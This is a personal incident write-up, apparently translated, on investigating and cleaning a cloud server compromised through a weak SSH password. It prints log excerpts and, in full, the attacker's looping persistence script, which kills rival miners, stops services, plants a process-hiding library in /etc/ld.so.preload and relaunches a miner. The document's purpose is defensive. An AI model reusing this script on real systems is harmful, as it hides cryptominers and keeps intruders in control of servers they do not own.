Sharing of the process of a server being invaded

1. Server Intrusion Phenomenon

Recently, a friend's server (which made a website by himself) seems to have been invaded. The specific phenomenon is: the server CPU resource is 100% for a long time, and the load is high. The service on the server cannot provide services normally.

My friend dealt with it for a while and didn't solve it. I started to think that I was not in the business of security, how could I, but my friend charged a sky-high price, and I bowed my head in front of life and reality. Let's get started.

2. Server investigation and processing

2.1. Possible reasons for server hacking

Server ssh passwords are easy to set up.
The scope of the Tencent Cloud security group is very large.
The pagoda is used, and the password of the pagoda panel is also a very simple password (should not be the intrusion entrance).

2.2, investigation and processing steps

ps -ef / top Find the service that takes up the most process

problem phenomenon

ps/top command has been replaced.

Find detailed intrusion traces last or grep 'Accepted' /var/log/secure.

problem phenomenon

[root@VM-12-12-centos ~]# grep 'Accepted'  /var/log/secure 
Aug 26 21:51:37 VM-12-12-centos sshd[19822]: Accepted password for root from 34.215.138.2 port 36720 ssh2
Aug 27 08:52:05 VM-12-12-centos sshd[3053]: Accepted password for root from 127.0.0.1 port 57534 ssh2
Aug 27 08:58:50 VM-12-12-centos sshd[7038]: Accepted password for root from 127.0.0.1 port 57548 ssh2
Aug 27 09:10:02 VM-12-12-centos sshd[14830]: Accepted publickey for lighthouse from 106.55.203.49 port 44204 ssh2: RSA SHA256:123456/UIbl8
Aug 27 09:10:03 VM-12-12-centos sshd[14913]: Accepted publickey for lighthouse from 81.69.102.49 port 60820 ssh2: RSA SHA256:123456/UIbl8
Aug 27 09:14:08 VM-12-12-centos sshd[17307]: Accepted password for root from 127.0.0.1 port 57690 ssh2
Aug 27 09:34:22 VM-12-12-centos sshd[29150]: Accepted publickey for lighthouse from 106.55.203.55 port 38044 ssh2: RSA SHA256:123456/UIbl8
Aug 27 09:34:23 VM-12-12-centos sshd[29233]: Accepted publickey for lighthouse from 81.69.102.60 port 51190 ssh2: RSA SHA256:123456/UIbl8

lighthouse Tencent Cloud Lightweight Server

We can see here that there are some 境外IP 34.215.138.2 successful logins, these IPare not our normal logins. In /var/log/secure the log, I saw that IP 34.215.138.2 the crack was successful after less than 500 login attempts.

Treatment measures

Here we immediately take the first step,

The Tencent Cloud security group restricts SSH logins IP, and the previous security group SSH allowed all IP.
Change the SSH ROOT password.
/root/.ssh/authorized_keys Backup, and empty.
```
[root@VM-12-12-centos ~]# cp -rp   /root/.ssh/authorized_keys  /root/.ssh/authorized_keys.bak
cp: cannot create regular file ‘/root/.ssh/authorized_keys.bak’: Permission denied
```
At this time, we encountered the problem of permissions, which will be discussed later, because we have restricted the source IP, so we can deal with this later.

View some recently added users

problem phenomenon

cat /etc/passwd

Treatment measures

lock user
```
[root@VM-12-12-centos ~]# usermod  -L  sys1  
```

I don’t plan to find the process here (I’m already creating a new system with the same version to copy top and ps command, it will take a while, let’s take this time to look at others), because a friend restarted the server before and found that the server has started The load will be higher after a while. I think the intruder should put some cron tasks and startup scripts inside.

problem phenomenon

timed task

crond Reading configuration files will be read from the following paths:

/var/spool/cron/ , crontab -e is written by , the configuration file does not need to specify a user
/etc/crontab , can only root be edited, the configuration file needs to specify the user
/etc/cron.d/ ,Create a scheduled task file under this folder, the configuration file needs to specify the user
/etc/cron.*

/var/spool/cron/ Not found

/etc/crontab Not found

But I /var/log/cron keep seeing tasks being executed. Every 5 minutes.

Aug 27 22:00:01 VM-12-12-centos CROND[16839]: (root) CMD (/sbin/httpss >/dev/null 2>&1;^M                                                                                                    )
Aug 27 22:00:01 VM-12-12-centos CROND[16840]: (root) CMD (/usr/local/qcloud/YunJing/YDCrontab.sh > /dev/null 2>&1)
Aug 27 22:00:01 VM-12-12-centos CROND[16842]: (root) CMD (/usr/lib/mysql/mysql;^Mno crontab for root                                                                                                   )

Aug 27 22:05:01 VM-12-12-centos CROND[17486]: (root) CMD (/usr/lib/mysql/mysql;^Mno crontab for root                                                                                                   )
Aug 27 22:05:01 VM-12-12-centos CROND[17487]: (root) CMD (/sbin/httpss >/dev/null 2>&1;^M                                                                                                    )

Treatment measures

The first operation we do here is to delete the sum /usr/lib/mysql/mysql first . /sbin/httpssWhen deleting, it still prompts that there is no permission. We knew the files were supposed to be locked, so I started unlocking them, and we found that they chattr were also replaced and locked. So it can't work anymore.

boot script

/etc/rc.local , we also found a script.

[root@VM-12-12-centos ~]# cat /etc/rc.local 
#!/bin/bash
# THIS FILE IS ADDED FOR COMPATIBILITY PURPOSES
#
# It is highly advisable to create own systemd services or udev rules
# to run scripts during boot instead of using this file.
#
# In contrast to previous versions due to parallel execution during boot
# this script will NOT be run after all other services.
#
# Please note that you must run 'chmod +x /etc/rc.d/rc.local' to ensure
# that this script will be executed during boot.

/usr/bin/0f4f80f9ab start

But this file does not seem to exist, so we commented this out.

Revert changed top, ps, chattr, lsattr.
- First we copied chattr, from the same version machine lsattr, we have to do this first, because our top and ps are locked.
- I upload the file to /tmp the directory, then increase the executable permission, and then /usr/bin/chattr unlock it first.
```
/tmp/chattr -ai /usr/bin/chattr
```
- After execution, it was found that it still could not be replaced /usr/bin/chattr. In the end, it took a while to realize that the intruder may not only lock the file but also lock it /usr/bin/.
- unlock directory
```
/tmp/chattr -ai /usr/bin/
```
- Only then can it be /usr/bin/chattr replaced.
- Referring to these next, we restored the sum top and .pslsattr
partial screenshot

3. The points that this invasion needs to bring inspiration

ps 、top 、chattr 、lsattr

In the scenario where these commands are replaced and we want to restore but cannot, we can copy the same commands of the same version of the machine and put them in other directories, and use these commands to release the intruder from replacing and locking the files. Note that some intruders will not only lock at the file level, but also lock at the directory level of the current file. I was confused on this for a while before.
file content hidden

Above, I executed crontab -l and cat to view /etc/cron.d/ the file below. The file was found to have no content.

In fact, I don’t know what special characters are used or what is hidden. In fact, there are scheduled tasks.

Example:

How does this configuration cause cat/more to be unable to read it? I looked at it again today, and this file may be regarded as a data file, because after I checked the file file, the file attribute is data. Then the file contains special characters. As a result, it is hidden. I have explained the ins and outs of the principle of finding hidden characters in the server intrusion here .

one of the scripts.

[root@VM-12-12-centos etc]# cat /.Recycle_bin/_bt_etc_bt_.sftp_bt_.sh_t_1661768469.9859464 
#!/bin/sh
while test 1 = 1
do
sleep 30
pkill -f main
killall main
killall sprshduerjsaia
pkill -f sprshduerjsaia
killall dr64
pkill -f dr64
killall .report_system
pkill -f .report_system
killall sshc
pkill -f sshc
pkill -f memory
killall memory
killall warmup
killall koko
killall kthreaddk
killall systemc
killall cront
killall xm64_linux
killall /var/tmp/j/./intelshell
pkill -f dos32
pkill -f dos64
pkill -f .name
pkill -f /usr/sbin/dbus
pkill -f systemd-boot-check-no-failures
killall .report_system
pkill -f .report_system
pkill -f keep-alive
pkill -f linu
pkill -f zapppp
killall [scan]
killall [ext4]
pkill -f xm64_linux
pkill -f ddrirc
killall ./-bash
pkill -f ./-bash
killall kworkers
killall dbus
pkill -f biden1
pkill -f cpuminer-sse2
killall work64
pkill -f work64
killall work32
pkill -f work32
killall aarch12
pkill -f aarch12
killall bash1
pkill -f bash1
killall intelshell
pkill -f intelshell
killall heaven
pkill -f heaven
killall .syst3md
pkill -f .syst3md
pkill -f apachelogs
killall .meinkampf
pkill -f .meinkampf
killall xri
pkill -f xri
killall koko
pkill -f koko
killall work32-deamon
pkill -f work32-deamon
killall work64 -deamon
pkill -f work64 -deamon
killall secure.sh
pkill -f secure.sh
kkillall auth.sh
pkill -f auth.sh
killall autoupdate
pkill -f kworkers
pkill -f autoupdate
killall ld-linux
pkill -f ld-linux
pkill -9 Donald
killall -9 Donald
pkill -f /usr/local/bin/pnscan
pkill -f /usr/bin/biden1
killall /usr/bin/biden1
killall r
killall trace
pkill -f minerd
killall minerd
pkill -f xm64
killall xm64
pkill -f sysdm
killall sysdm
pkill -f syst3md
killall syst3md
pkill -f xrig
killall xrig
pkill -f busybox
killall busybox
pkill -f joseph
killall joseph
pkill -f osama
killall osama
killall daemon
pkill -f obama1
killall obama1
pkill -f kswapd0
killall kswapd0
pkill -f jehgms
killall jehgms
pkill -f tsm
killall tsm
pkill -f rig
killall rig
pkill -f xmr
killall xmr
pkill -f playstation
killall playstation
pkill -f ld-linux-x86-64
killall ld-linux-x86-64
pkill -f ruckusapd
killall ruckusapd
pkill -f run64
killall run64
pkill -f pwnrig
killall pwnrig
pkill -f phpupdate
killall phpupdate
pkill -f sysupdate
killall sysupdate
pkill -f phpguard
killall phpguard
pkill -f firstpress
killall firstpress
pkill -f zerocert
killall zerocert
pkill -f masscan
killall masscan
pkill -f -bash
pkill -f spreadQlmnop
killall spreadQlmnop
killall -bash
pkill -f cnrig
killall cnrig
pkill -f netvhost
killall netvhost
pkill -f kthreadds
killall kthreadds
pkill -f kthreadd
killall kthreadd
pkill -f kdevtmpfsi
killall kdevtmpfsi
pkill -f linuxservice
killall linuxservice
pkill -f rtmonitor
killall rtmonitor
pkill -f dev
killall dev
pkill -f xmrig
killall xmrig
pkill -f master
killall master
killall sysmd
pkill -f sysmd
pkill -f sendmail
killall sendmail
pkill -f ld-musl-x86_64.
killall ld-musl-x86_64.
killall watchdog
pkill -f watchdog
pkill -f 32678
killall 32678
killall dhpcd
pkill -f dhpcd
killall linux_amd64
pkill -f linux_amd64
killall xredis
pkill -f xredis
killall Linux2.6
killall .chornyd
pkill -f .chornyd
killall Opera
pkill -f Opera
killall libertyd
pkill -f libertyd
killall rcubind
pkill -f rcubind
killall clamscan
pkill -f clamscan
killall pnscan
pkill -f pnscan
killall zzh
pkill -f zzh
killall bioser
pkill -f bioser
rm -rf /root/.configrc/
rm -rf /tmp/.X26-unix/
rm -rf /tmp/.bash/
rm -rf /root/.bash/
rm -rf /root/.cache/
rm -rf /tmp/.cache/
rm -rf /dev/shm/.ssh/
rm -rf /etc/.etcservice/linuxservice
rm -rf /etc/.vhost/netvhost
rm -rf /tmp/up.txt
rm -rf /var/tmp/.update/
rm -rf /var/tmp/.systemd/
rm -rf /usr/sbin/.bash./.bash/
rm -rf /etc/master
rm -rf /usr/bin/busybox
rm -rf /bin/sysmd
rm -rf /tmp/.mx/
rm -rf /dev/shm/.mx/
rm -rf /usr/bin/xrig
rm -rf /etc/32678
rm -rf /root/c3pool/
rm -rf /usr/bin/.sshd/
rm -rf /tmp/div
systemctl stop c3pool_miner.service
systemctl stop pwnriglhttps.service
systemctl stop cryto
systemctl stop scan
systemctl stop bot
systemctl stop myservice.service
systemctl stop netns.service
systemctl stop cryptsetup.service
echo /usr/local/lib/libprocesshider.so > /etc/ld.so.preload
lockr +ai /etc/ld.so.preload >/dev/null 2>&1
chmod 777 /usr/lib/mysql/*
/usr/lib/mysql/./mysql
done

We can see what this script is actually changing all /etc/ld.so.preload the time. And shut down some scanning software and system services.

During the loading process of the dynamic link library of the Linux operating system, the dynamic linker will read the value of the LD_PRELOAD environment variable and the file content of the default configuration file /etc/ld.so.preload, and preload the read dynamic link library. Even if the program does not depend on these dynamic link libraries, the dynamic link libraries specified in the LD_PRELOAD environment variable and the /etc/ld.so.preload configuration file will still be loaded, and their priority is higher than that of the link library search defined by the LD_LIBRARY_PATH environment variable. The file priority of the path is higher, so it can be loaded in advance of the dynamic library called by the user.

——A paragraph quoted from "Beware of Backdoors Using Linux Preloaded Malicious Dynamic Link Libraries"

I have deleted /usr/local/lib/libprocesshider.so the file, and this error will be reported every time I execute the command.

After I emptied the file /etc/ld.so.preload , I found that after a while, this still appeared. I looked at /etc/ld.so.preload the file again, and it was written again /usr/local/lib/libprocesshider.so . I suspected that there was a scheduled task, but I searched for the scheduled task for a while, but I still couldn’t find it. When I checked the abnormal process later, I saw this process

The one who found this script has been executing the above content in a loop. After killing the process, delete the script.

4. Some revelations of the server being invaded this time

Make good use of the security group of the cloud vendor. For some key ports, the clearance rules should be as minimal as possible/
Some passwords related to the server try to increase the complexity.
Increase the monitoring of some key files. (Monitor md5 value through monitoring software)
- /etc/passwd
- /etc/shadow
- /etc/group
- /root/.bash_history
- /root/.ssh/authorized_keys
- /etc/ssh/sshd_config
- /etc/profile
- /var/spool/cron/root
- /etc/crontab
- /etc/ld.so.preload
- /etc/rc.local
- lsof
- ps
- netstat
- top
- ls
- pstree
- last
- history
- sudo
- password
- chattr
- lsattr
After the server is invaded, what we need to do is the best.

Host Security Linux Intrusion Troubleshooting Ideas-Troubleshooting-Document Center-Tencent Cloud

Solutions for ECS Instances Infected with Trojan Horse Viruses_Cloud Server ECS-Alibaba Cloud Help Center
1. If the server has open SSH remote login, you can set restrictions on login (security group, or service), and only allow your own IP. Find detailed intrusion traces last or grep 'Accepted' /var/log/secure
  
  /root/.ssh/authorized_keys /etc/passwd These files can also be viewed. Lock some newly created users.
2. If the server can close the external network, close the external network. Under the security group level settings, or routing or NAT.
3. First check ps/top whether the command has been tampered with, and if so, copy it from other normal machines to the server. Then execute to view the abnormal process. Also check to see /etc/ld.so.preload if it has been tampered with. If there is, remember to clear the content inside, and then delete or rename the corresponding file.
  
  If you encounter the problem that the file cannot be deleted or modified during use, if you need to use it, chattr -ia 文件名 if it chattr is also modified, you need to copy it from another machine. Then restore.
4. If the above is not found, you can netstat query the abnormal process by indirectly viewing the abnormal connection.
5. Check booting and crontab related content.
6. Check for abnormal processes.

The above is the processing process of this invasion and some small revelations obtained, and we will continue to add new ones as we learn more.